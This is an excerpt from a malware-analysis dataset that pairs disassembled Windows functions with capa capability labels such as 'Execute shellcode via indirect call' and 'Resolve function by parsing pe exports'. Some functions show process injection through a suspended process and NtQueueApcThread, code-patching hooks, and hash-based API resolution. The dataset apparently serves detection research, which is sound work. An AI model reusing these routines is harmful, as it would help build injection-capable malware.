joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1403b4460
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x48
movaps xmmword [rsp + 0x30], xmm6
cmp r9d, 8
jge 0x1403b44b1
movzx r10d, dx
sub r8d, r10d
movzx eax, r8w
xor edx, edx
test r9d, r9d
jle 0x1403b46db
movsxd r8, edx
movzx r8d, word [rcx + r8*2]
sub r8d, r10d
movzx r8d, r8w
cmp r8d, eax
jle 0x1403b44a5
inc edx
cmp edx, r9d
jl 0x1403b4485
jmp 0x1403b46db
mov eax, edx
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
ret
movzx r10d, dx
movd xmm0, r10d
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
mov eax, r8d
sub eax, r10d
movzx eax, ax
movd xmm1, eax
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
mov rax, rcx
add r9d, 0xfffffff8
mov edx, r9d
add rdx, rdx
lea r8, [rax + rdx]
movups xmm2, xmmword [0x1405eb440]
movaps xmm3, xmm1
psubw xmm3, xmm2
movups xmm4, xmmword [rax]
psubw xmm4, xmm0
movaps xmm5, xmm4
psubw xmm5, xmm2
movaps xmm6, xmm3
pcmpgtw xmm6, xmm5
pcmpeqw xmm4, xmm1
por xmm4, xmm6
movaps xmmword [rsp + 0x20], xmm4
xorps xmm5, xmm5
pcmpeqw xmm4, xmm5
pmovmskb r10d, xmm4
cmp r10d, 0xffff
jne 0x1403b461b
add rax, 0x10
cmp rax, r8
jb 0x1403b44f8
movups xmm4, xmmword [r8]
psubw xmm4, xmm0
movaps xmm0, xmm4
psubw xmm0, xmm2
pcmpgtw xmm3, xmm0
pcmpeqw xmm1, xmm4
por xmm1, xmm3
movaps xmmword [rsp + 0x20], xmm1
xorps xmm0, xmm0
pcmpeqw xmm0, xmm1
pmovmskb eax, xmm0
cmp eax, 0xffff
je 0x1403b46db
mov rax, qword [rsp + 0x20]
mov qword [rsp + 8], rax
movzx eax, word [rsp + 8]
shr eax, 0xf
movzx ecx, word [rsp + 0xa]
shr ecx, 0xf
add ecx, ecx
or eax, ecx
movzx ecx, word [rsp + 0xc]
shr ecx, 0xf
shl ecx, 2
or ecx, eax
mov eax, ecx
movzx ecx, word [rsp + 0xe]
shr ecx, 0xf
shl ecx, 3
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x28]
mov qword [rsp], rcx
movzx ecx, word [rsp]
shr ecx, 0xf
movzx r8d, word [rsp + 2]
shr r8d, 0xf
add r8d, r8d
or ecx, r8d
movzx r8d, word [rsp + 4]
shr r8d, 0xf
shl r8d, 2
or r8d, ecx
mov ecx, r8d
movzx r8d, word [rsp + 6]
shr r8d, 0xf
shl r8d, 3
or r8d, ecx
mov ecx, r8d
shl ecx, 4
or eax, ecx
bsf ecx, eax
mov r8d, 0x20
test eax, eax
cmove ecx, r8d
mov eax, ecx
shr rdx, 1
add eax, edx
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
ret
mov rdx, qword [rsp + 0x20]
mov qword [rsp + 0x18], rdx
movzx edx, word [rsp + 0x18]
shr edx, 0xf
movzx r8d, word [rsp + 0x1a]
shr r8d, 0xf
add r8d, r8d
or edx, r8d
movzx r8d, word [rsp + 0x1c]
shr r8d, 0xf
shl r8d, 2
or r8d, edx
mov edx, r8d
movzx r8d, word [rsp + 0x1e]
shr r8d, 0xf
shl r8d, 3
or r8d, edx
mov edx, r8d
mov r8, qword [rsp + 0x28]
mov qword [rsp + 0x10], r8
movzx r8d, word [rsp + 0x10]
shr r8d, 0xf
movzx r10d, word [rsp + 0x12]
shr r10d, 0xf
add r10d, r10d
or r8d, r10d
movzx r10d, word [rsp + 0x14]
shr r10d, 0xf
shl r10d, 2
or r10d, r8d
mov r8d, r10d
movzx r10d, word [rsp + 0x16]
shr r10d, 0xf
shl r10d, 3
or r10d, r8d
mov r8d, r10d
shl r8d, 4
or edx, r8d
bsf r8d, edx
mov r10d, 0x20
test edx, edx
cmove r8d, r10d
sub rax, rcx
shr rax, 1
add eax, r8d
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
ret
mov eax, 0xffffffff
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
ret
Function at 0x180047864
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rax, qword [0x1800d0780]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov eax, ecx
mov esi, edx
imul rbx, rax, 0x38
add rbx, qword [0x1800d26e0]
mov rdx, qword [rbx]
mov cl, byte [rbx + 0x20]
mov rbp, rdx
lea rdi, [rdx - 5]
and cl, 1
je 0x1800478a9
mov rbp, rdi
movzx eax, cl
lea r9, [rsp + 0x20]
test cl, cl
mov r8d, 0x40
cmove rdi, rdx
lea r14, [rax*2 + 5]
mov rcx, rdi
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1800478df
mov eax, 0xa
jmp 0x18004796e
test esi, esi
je 0x180047901
mov byte [rdi], 0xe9
mov eax, dword [rbx + 8]
sub eax, ebp
sub eax, 5
mov dword [rdi + 1], eax
test byte [rbx + 0x20], 1
je 0x180047922
mov rax, qword [rbx]
mov word [rax], 0xf9eb
jmp 0x180047922
mov eax, dword [rbx + 0x18]
test byte [rbx + 0x20], 1
mov dword [rdi], eax
je 0x18004791c
movzx eax, word [rbx + 0x1c]
mov word [rdi + 4], ax
mov al, byte [rbx + 0x1e]
mov byte [rdi + 6], al
jmp 0x180047922
mov al, byte [rbx + 0x1c]
mov byte [rdi + 4], al
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, r14
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov al, sil
shl sil, 2
add al, al
xor al, byte [rbx + 0x20]
and al, 2
xor al, byte [rbx + 0x20]
xor sil, al
and sil, 4
xor sil, al
mov byte [rbx + 0x20], sil
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.180056dd0
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
Function at 0x1800479d0
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x1800d0780]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov r15d, edx
mov rdi, rcx
mov qword [rcx], rbx
mov qword [rcx + 8], rbx
xor edx, edx
mov r14d, r8d
mov esi, ebx
lea ecx, [rbx + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x180047b6c
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x180047b0e
lea esi, [rbx + 1]
cmp dword [rsp + 0x20], 0x10
jb 0x180047aca
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x2c], eax
jne 0x180047aca
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rsp + 0x28], eax
je 0x180047aca
mov rdx, qword [rdi]
test rdx, rdx
jne 0x180047a8c
mov dword [rdi + 8], 0x80
mov r8d, 0x200
mov rcx, qword [0x1800d1340]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rdi], rax
mov rdx, rax
test rax, rax
je 0x180047af2
jmp 0x180047abd
mov eax, dword [rdi + 8]
cmp dword [rdi + 0xc], eax
jb 0x180047abd
add eax, eax
mov r8, rdx
mov r9d, eax
xor edx, edx
mov dword [rdi + 8], eax
mov rcx, qword [0x1800d1340]
shl r9, 2
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rdx, rax
test rax, rax
je 0x180047af2
mov qword [rdi], rax
mov ecx, dword [rdi + 0xc]
mov eax, dword [rsp + 0x28]
mov dword [rdx + rcx*4], eax
inc dword [rdi + 0xc]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rbp
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x180047a3a
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x180047b0e
mov esi, ebx
cmp qword [rdi], rbx
je 0x180047b0e
mov r8, qword [rdi]
xor edx, edx
mov rcx, qword [0x1800d1340]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rdi], rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x180047b6c
cmp qword [rdi], rbx
je 0x180047b71
mov esi, ebx
cmp dword [rdi + 0xc], ebx
jbe 0x180047b71
mov r8, qword [rdi]
xor edx, edx
mov eax, esi
lea ecx, [rdx + 0x5a]
mov r8d, dword [r8 + rax*4]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbp, rax
test rax, rax
je 0x180047b63
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov r8d, r14d
mov edx, r15d
mov rcx, rbp
call fcn.180047db0
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [rdi + 0xc]
jb 0x180047b27
jmp 0x180047b71
mov ebx, 9
mov eax, ebx
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.180056dd0
mov rbx, qword [rsp + 0x90]
add rsp, 0x50
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800527a4
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
xor ebp, ebp
cmp byte [0x1800d18de], bpl
je 0x180052983
mov rax, qword [0x1800d2070]
test rax, rax
jne 0x180052870
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r11, qword [rax]
mov rdx, r11
mov r8, qword [rdx + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x180052855
mov ecx, dword [r9 + 0x18]
test ecx, ecx
je 0x180052855
mov esi, dword [r9 + 0x20]
dec ecx
mov ebx, 0x811c9dc5
mov edi, ecx
lea rax, [rsi + rcx*4]
mov r10d, dword [rax + r8]
add r10, r8
mov al, byte [r10]
inc r10
test al, al
je 0x180052851
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
mov al, byte [r10]
inc r10
test al, al
jne 0x180052830
cmp ebx, 0x95466b05
je 0x180052966
test ecx, ecx
jne 0x180052812
mov rax, qword [rdx]
mov rdx, rax
cmp rax, r11
je 0x180052866
cmp qword [rax + 0x30], rbp
jne 0x1800527ee
mov rax, rbp
mov qword [0x1800d2070], rax
mov ecx, dword [0x1800d1904]
call rax
test ax, ax
je 0x180052983
mov rax, qword [0x1800d1380]
mov rcx, qword [rax]
test rcx, rcx
je 0x180052983
mov r9, qword [rcx + 8]
test r9, r9
je 0x180052983
mov rax, qword [0x1800d1388]
mov rcx, qword [rax]
test rcx, rcx
je 0x180052983
mov r8, qword [rcx + 0x18]
test r8, r8
je 0x180052983
movss xmm2, dword [0x180059b40]
mov r10d, ebp
mov r11, rbp
movsxd rax, r10d
cmp rax, qword [r8 + 0x108]
jae 0x180052983
mov rcx, qword [r8 + 0x100]
test rcx, rcx
je 0x18005295a
mov rcx, qword [r11 + rcx]
test rcx, rcx
je 0x18005295a
cmp rcx, r9
je 0x18005295a
mov eax, dword [0x1800d13ac]
mov edx, dword [rax + rcx]
test edx, edx
je 0x18005295a
and edx, 0x1fc000
cmp edx, 0x8000
je 0x18005295a
movsd xmm0, qword [r9 + 0x90]
mov eax, dword [r9 + 0x98]
movsd qword [rsp + 0x20], xmm0
movss xmm0, dword [rsp + 0x20]
movss dword [rcx + 0x90], xmm0
movss xmm1, dword [rsp + 0x24]
addss xmm1, xmm2
movss dword [rcx + 0x94], xmm1
mov dword [rcx + 0x98], eax
mov dword [rcx + 0x280], 0x3dcccccd
inc r10d
add r11, 0x10
jmp 0x1800528cf
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdi*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
jmp 0x180052869
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x180053ab0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rax, qword [0x1800d1380]
mov rcx, qword [rax]
test rcx, rcx
je 0x180053c1f
mov rcx, qword [rcx + 8]
test rcx, rcx
je 0x180053c1f
mov eax, dword [0x1800d13bc]
mov rdx, qword [rax + rcx]
test rdx, rdx
je 0x180053c1f
cmp qword [rcx + 0x30], 0
je 0x180053c1f
mov rax, qword [0x1800d1388]
mov r8, qword [rax]
test r8, r8
je 0x180053c1f
cmp qword [r8 + 0x10], 0
je 0x180053c1f
cmp byte [0x1800d18ec], 0
je 0x180053b47
cmp byte [0x1800d13e9], 0
movss xmm0, dword [0x1800d06c0]
je 0x180053b3f
movss dword [rdx + 0xd40], xmm0
jmp 0x180053b47
movss dword [rdx + 0xcf0], xmm0
mov eax, dword [0x1800d13e0]
cmp byte [rax + rcx], 0x40
je 0x180053c1f
movss xmm0, dword [0x18005b8c8]
comiss xmm0, dword [rcx + 0x280]
ja 0x180053c1f
mov rax, qword [0x1800d2070]
test rax, rax
jne 0x180053c11
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r11, qword [rax]
mov rdx, r11
mov r8, qword [rdx + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x180053bf6
mov ecx, dword [r9 + 0x18]
test ecx, ecx
je 0x180053bf6
mov esi, dword [r9 + 0x20]
dec ecx
mov ebx, 0x811c9dc5
mov edi, ecx
lea rax, [rsi + rcx*4]
mov r10d, dword [rax + r8]
add r10, r8
mov al, byte [r10]
inc r10
test al, al
je 0x180053bf2
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
mov al, byte [r10]
inc r10
test al, al
jne 0x180053bd5
cmp ebx, 0x95466b05
je 0x180053c2f
test ecx, ecx
jne 0x180053bb7
mov rax, qword [rdx]
mov rdx, rax
cmp rax, r11
je 0x180053c08
cmp qword [rax + 0x30], 0
jne 0x180053b93
xor eax, eax
mov qword [0x1800d2070], rax
mov ecx, 0xa0
call rax
mov byte [0x1800d1910], 1
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdi*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
jmp 0x180053c0a
Function at 0x180056798
Capabilities:
Enumerate gui resources
Get graphical window text

Disassembly:
sub rsp, 0xd8
mov rax, qword [0x1800d0780]
xor rax, rsp
mov qword [rsp + 0xc0], rax
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
lea rcx, [0x180056700]
call qword [sym.imp.USER32.dll_EnumWindows]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
jne 0x18005680f
mov qword [rsp + 0x20], 0xc8
lea rdx, [rsp + 0x30]
lea rcx, [0x180056700]
call qword [sym.imp.USER32.dll_EnumWindows]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x28]
call fcn.180048488
mov rcx, rax
call fcn.1800486dc
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1800567dc
mov r8d, 0x80
lea rdx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.180056dd0
add rsp, 0xd8
ret
Function at 0x1400039a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x150
call fcn.14001b8d0
cmp dword [rax], 1
je 0x1400039d9
lea rcx, str.This_program_does_not_accept_any_arguments._n
call fcn.14000eff0
xor eax, eax
jmp 0x140003bf7
call fcn.140004010
call fcn.140003ea0
mov dword [rsp + 0x70], eax
call fcn.140003f50
call fcn.140003e80
call fcn.140003e30
call fcn.14000fce0
mov dword [rsp + 0x74], 4
mov dword [rsp + 0x78], 0x1000
mov dword [rsp + 0x7c], 0x40
lea rax, [rsp + 0xe0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rsp + 0xa0]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsImmersiveControlPanelSystemSettings.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp qword [rsp + 0xa0], 0
jne 0x140003aaa
lea rcx, str.Failed_to_create_process._n
call fcn.14000eff0
xor ecx, ecx
call fcn.14001b89c
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x60], rax
lea rdx, [0x14004f3e8]
lea rcx, [rsp + 0xb8]
call fcn.140003c10
lea rcx, [rsp + 0xb8]
call fcn.14000eac0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, rax
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0xb8]
call fcn.14000eac0
mov qword [rsp + 0x80], rax
lea rcx, [rsp + 0xb8]
call fcn.14000c180
lea rcx, [rsp + 0xd0]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x80]
mov r9, rcx
mov r8, rax
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x88], rax
lea rcx, str.NtQueueApcThread
call fcn.14000f4e0
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x60]
call qword [rsp + 0x90]
lea rcx, str.NtResumeThread
call fcn.14000f4e0
mov qword [rsp + 0x98], rax
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [rsp + 0x98]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.14000fd70
mov dword [rsp + 0x50], 0
lea rcx, [rsp + 0xb8]
call fcn.140008f70
mov eax, dword [rsp + 0x50]
add rsp, 0x150
pop rdi
ret
Function at 0x140003e30
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x140003e75
xor ecx, ecx
call fcn.14001b89c
add rsp, 0x48
ret

Function at 0x140004010
Capabilities:
Create thread
Get common file path
Get hostname

Disassembly:
sub rsp, 0xaa8
mov rax, qword [0x14004e040]
xor rax, rsp
mov qword [rsp + 0xa90], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140003fe0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x1400040b4
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.UniqueAutoClosingMessageBoxTitle
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140004099
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.USER32.dll_SendMessageA]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x30], eax
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x34], eax
lea rdx, str.Screen_Width:
lea rcx, [0x14004f6b0]
call fcn.1400044c0
mov edx, dword [rsp + 0x30]
mov rcx, rax
call fcn.1400093a0
lea rdx, str.__Screen_Height:
mov rcx, rax
call fcn.1400044c0
mov edx, dword [rsp + 0x34]
mov rcx, rax
call fcn.1400093a0
lea rdx, [0x1400072d0]
mov rcx, rax
call fcn.1400095c0
mov edx, 0x400
lea rcx, [rsp + 0x290]
call qword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
lea rdx, str.Console_Window_Title:
lea rcx, [0x14004f7e0]
call fcn.140004810
lea rdx, [rsp + 0x290]
mov rcx, rax
call fcn.140004810
lea rdx, [0x140007320]
mov rcx, rax
call fcn.1400095c0
mov edx, 0x104
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rdx, str.System_Directory:
lea rcx, [0x14004f7e0]
call fcn.140004810
lea rdx, [rsp + 0x80]
mov rcx, rax
call fcn.140004810
lea rdx, [0x140007320]
mov rcx, rax
call fcn.1400095c0
mov dword [rsp + 0x38], 0x10
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rdx, str.Computer_Name:
lea rcx, [0x14004f7e0]
call fcn.140004810
lea rdx, [rsp + 0x58]
mov rcx, rax
call fcn.140004810
lea rdx, [0x140007320]
mov rcx, rax
call fcn.1400095c0
mov rcx, qword [rsp + 0xa90]
xor rcx, rsp
call fcn.1400147f0
add rsp, 0xaa8
ret
Function at 0x14000f310
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x168
mov rax, qword [0x14004e040]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x30], 0
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14000f361
xor eax, eax
jmp 0x14000f4be
mov rax, qword [rsp + 0x38]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x180]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x4550
je 0x14000f394
mov rax, qword [rsp + 0x30]
jmp 0x14000f4be
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x40]
mov rdi, rax
lea rsi, [rcx + 0x18]
mov ecx, 0xf0
rep movsb byte [rdi], byte [rsi]
mov eax, 8
imul rax, rax, 0
cmp dword [rsp + rax + 0xd0], 0
jne 0x14000f3c9
mov rax, qword [rsp + 0x30]
jmp 0x14000f4be
mov eax, 8
imul rax, rax, 0
mov eax, dword [rsp + rax + 0xd0]
mov rcx, qword [rsp + 0x180]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x180]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x180]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x180]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x20], 0
jmp 0x14000f451
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x18]
cmp dword [rsp + 0x20], eax
jae 0x14000f4b9
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x180]
add rcx, rax
mov rax, rcx
mov rdx, qword [rsp + 0x188]
mov rcx, rax
call fcn.14001f184
test eax, eax
jne 0x14000f4b7
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x58]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x180]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
jmp 0x14000f4b9
jmp 0x14000f447
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400147f0
add rsp, 0x168
pop rdi
pop rsi
ret
Function at 0x140012410
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x14001243e
xor eax, eax
jmp 0x140012524
cmp qword [rcx + 0x68], 0
je 0x14001244f
call fcn.140012540
jmp 0x140012524
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140012466
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140012468
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14001249a
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.140035c00
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x14001251e
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x1400124d1
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x1400124fa
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.140020c20
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x14001251e
cmp rsi, rbx
ja 0x1400124d8
test rsi, rsi
je 0x14001251e
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.140020c20
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x140014e1c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140014e66
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140014e66
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140014e66
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140014e66
cmp dword [rcx + 0x84], 0xe
jbe 0x140014e66
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140014e68
xor al, al
add rsp, 0x28
ret
Function at 0x14001b89c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14001b6fb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001b6fb
mov ecx, 0x5a4d
cmp word [rax], cx
